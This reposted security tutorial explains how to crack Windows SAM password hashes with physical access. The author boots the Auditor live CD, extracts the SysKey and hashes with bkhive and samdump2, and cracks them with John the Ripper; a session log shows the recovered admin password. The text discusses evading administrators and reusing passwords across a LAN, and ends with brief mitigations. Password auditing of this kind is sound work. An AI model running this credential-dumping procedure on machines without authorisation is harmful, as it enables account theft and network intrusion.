Cracking the Sam file.

Did not write this tutorial although I did know about this before i read this. This tutorial is much better then I would have written. The Original document can be found here http://www.irongeek.com/i.php?page=.../localsamcrack2

SysKey is an extra level of encryption put on the hashes in the SAM file [1]. SysKey was introduced in Service Pack 3 (SP3) for NT 4 but every version of Windows since has had SysKey enabled by default. The way most folks crack a SAM file on a system that uses SysKey is by running a utility called PWDump as an admin to get the LM (LAN Manager) and NT hashes. The problem is PWdump only works if you can run it from an administrator level account, and if the reason an attacker is cracking the hashes in the first place is to get an administrator level account then PWdump is of little use.

Some folks will ask why would you want to crack the passwords in the SAM at all since it’s far easier to just change the Administrator password using a Linux boot disk or Sala’s Password Renew for PE Builder. The reason an attacker may want to crack the local passwords instead of changing them is two fold:

1. An attacker doesn’t want to tip off the system administrators. If they notice that the old local admin password no longer works they will get a little bit suspicious don’t you think? This is somewhat solved by Sala’s Password Renew since it lets you add new admin level accounts as well as change existing account’s passwords.

2. The same local account passwords may be used on other systems on the network (and most likely are if they use imaging software like Ghost). If the attacker can crack one machine’s admin password that same password may allow the attacker to gain access to other boxes on that LAN that they only have remote access (across the network) to.

This article assumes that the attacker has only physical access to the machine whose SAM they want to crack and that they also have access to the Knoppix variant known as the Auditor security collection boot CD [5] (I’m using version 120305-01 in this tutorial). Here are the steps you will need to take in order to audit local passwords using the Auditor CD:

Step 1. Download the Auditor Boot CD ISO and burn it to a CD-R. All of the tools we will be using in this tutorial come on the Auditor Boot CD.

Step 2. Insert the Auditor Boot CD into the target system, reboot and set the CD-ROM as the first boot device in the BIOS. Some systems let you hold down a certain function key at startup to choose what media to boot from (on recent Dell’s it’s F12).

Step 3. Auditor will begin to boot and ask you what screen resolution you want to use. Choose a resolution that your monitor and video card will support (I use 2 for 1024x768) then hit enter.

Step 4. When Auditor finishes booting click on the icon on the KDE bar for a new terminal window (it looks like a little monitor). Below you will see the commands you will have to use to get past SysKey, extract the hashes and attempt to crack the password hashes.

Step 5. Mount the local hard disk, most likely hda1:

Linux Command:

```
mount /dev/hda1
```

Step 6. Change the present working directory to the ramdisk so we space to work with the files we will be creating:

Linux Command:

```
cd /ramdisk/
```

Step 7. Auditor comes with Ncuomo's Samdump2 and Bkhive [6]. We will be using these tools to extract the system key from the System hive and the password hashes from the SAM file. To get the system key we need to use the Bkhive on our SYSTEM file (most likely in C:\WINDOWS\system32/config\SYSTEM, that's where it is on my XP Pro test box, on some systems it will me in C:\WINNT\system32/config\SYSTEM or perhaps some other drive entirely). By the way, if for some reason you are running NT4 SP3 you will need to use Bkreg instead, all later system (NT4 SP4, 2000 and XP) use Bkhive. To grab the system key and put it into a file we use the following command:

Linux Command:

```
bkhive-linux /mnt/hda1/WINDOWS/system32/config/system saved-syskey.txt
```

Step 8. Now that we have the system key we can use it to undo SysKey on the SAM, extract the hashes and place them into a PWDump format file:

Linux Command:

```
samdump2-linux /mnt/hda1/WINDOWS/system32/config/sam saved-
syskey.txt>password-hashes.txt
```

Step 9. At this point we have a PWDump format file called password-hashes.txt that we could copy off of the system and import into L0phtcrack [7] or Cain [8] (see the old tutorial for details). Since I said we were going to do it all with the Auditor CD and Open Source tools we will use John the Ripper to crack the hashes, but before we can use John we have to extract one of the many wordlists that comes with Auditor. Take a look on the CD in /opt/auditor/full/share/wordlists/ for all of the different wordlists you can use, I'll use english.txt for this tutorial. To extract english.txt to the ramdisk use the following command:

Linux Command:

```
gunzip -c /opt/auditor/full/share/wordlists/english/english.txt.gz>
/ramdisk/eng.txt
```

Step 10. Now that everything is in place we can run John with a simple dictionary attack to see if we can crack any of the hashes:

Linux Command:

```
john password-hashes.txt -w:eng.txt
```

John detects that the dump file has LM (LAN Manager) hashes in it and chooses the format “NT LM DES [32/32 BS]” automatically. If I had disabled the storing of LM hashes in the SAM I might want to use the –f option to specify the NT hash format and try to crack the NT hashes instead. To do that I would use the following command:

Linux Command:

```
john password-hashes.txt -f:NT -w:eng.txt
```

If dictionary attacks aren’t working and you have a lot of time (as well as a fast computer) you can try John’s incremental (brute force) mode and see if it gives you better results:

Linux Command:

```
john password-hashes.txt -i:all
```

Incremental mode is limited to only eight characters unless you change the source before you compile it, but at more than eight characters you will likely be waiting a very long time for John to finish. Doing more that eight characters is pointless anyway if you have the LM hashes since there are stored as two seven byte parts (NT hashes are a different story and can be harder to crack).

In case you were wondering what all of these commands would look like along with their output here is a copy of my session log that may help you understand how they all work together (notice that the password for the Administrator account is “monkey”):

Session Log saved from Auditor CD:

```
root@1[~]# mount /dev/hda1
root@1[~]# cd /ramdisk/
root@1[ramdisk]# bkhive-linux /mnt/hda1/WINDOWS/system32/config/system saved-
syskey.txt
Bkhive ncuomo@studenti.unina.it

Bootkey: 407af4376e55f1fd6d58cc47a4fa4c01
root@1[ramdisk]# samdump2-linux /mnt/hda1/WINDOWS/system32/config/sam saved-
syskey.txt>password-hashes
.txt
Samdump2 ncuomo@studenti.unina.it
This product includes cryptographic software written
by Eric Young (eay@cryptsoft.com)

No password for user Guest(501)
No V value!
```

```
root@1[ramdisk]# gunzip -c
/opt/auditor/full/share/wordlists/english/english.txt.gz> /ramdisk/eng.txt
root@1[ramdisk]# john password-hashes.txt -w:eng.txt
Loaded 3 password hashes with no different salts (NT LM DES [32/32 BS])
MONKEY (Administrator)
guesses: 1 time: 0:00:00:03 100% c/s: 1622943 trying: ZZYZX - ZZZZZZZ
root@1[ramdisk]# john password-hashes.txt -f:NT -w:eng.txt
Loaded 2 password hashes with no different salts (NT MD4 [TridgeMD4])
monkey (Administrator)
guesses: 1 time: 0:00:00:12 100% c/s: 464435 trying: zzzzzzzzzzzzzzzzzzzzzz
root@1[ramdisk]#
```

Mitigating SAM and SysKey Cracking

There are a few things you can do to make it harder for attacker to crack you local passwords. An attacker will most likely have to get into the BIOs to set it to boot from the CD-ROM. Setting up a BIOs password will help keep crackers from using the Auditor CD (or any boot CD) but if they can get into the computer's case it's easy to reset a BIOs password so some sort of physical case lock should be used as well. Strong passwords (non-dictionary words with more that just alphanumeric characters) will also make it harder for attackers to crack passwords since they will have to resort to potentially slow brute force methods.

I hope this short tutorial helps, feel free to write me if you have any questions. Some other techniques you may want to look into for faster cracking are cracking clusters [9] and Rainbow tables [10]. Enjoy your hash.

Irongeek@irongeek.com
http://www.irongeek.com

References and further research:

[0] Old Tutorial:
http://www.irongeek.com/i.php?page=...y/localsamcrack
or
http://www.antionline.com/showthrea...threadid=260337

[1] Information on SysKey from Microsoft:
http://support.microsoft.com/kb/310105

[2] Linux boot diskette that can reset local NT/2000/XP passwords:
http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html

[3] Sala's Password Renew
http://www.sala.pri.ee/

[4] Bart's Pe Builder:
http://www.nu2.nu/pebuilder/

[5] Auditor security collection boot CD:
http://new.remote-exploit.org/index.php/Auditor_main

[6] Ncuomo's Samdump2, Bkhive and Bkreg:
http://studenti.unina.it/~ncuomo/syskey/

[7] L0phtcrack Web Page:
http://www.atstake.com/products/lc/

[8] Oxid.it’s Cain Web Page:
http://www.oxid.it/cain.html

[9] NeuTron's tutorial on making a password cracking cluster:
http://www.antionline.com/showthrea...threadid=262750

[10] Rainbow Crack:
http://www.antsight.com/zsl/rainbowcrack/

Way more details about SAM cracking then you may ever want to know:
http://www.beginningtoseethelight.o...FEB224E21024B8C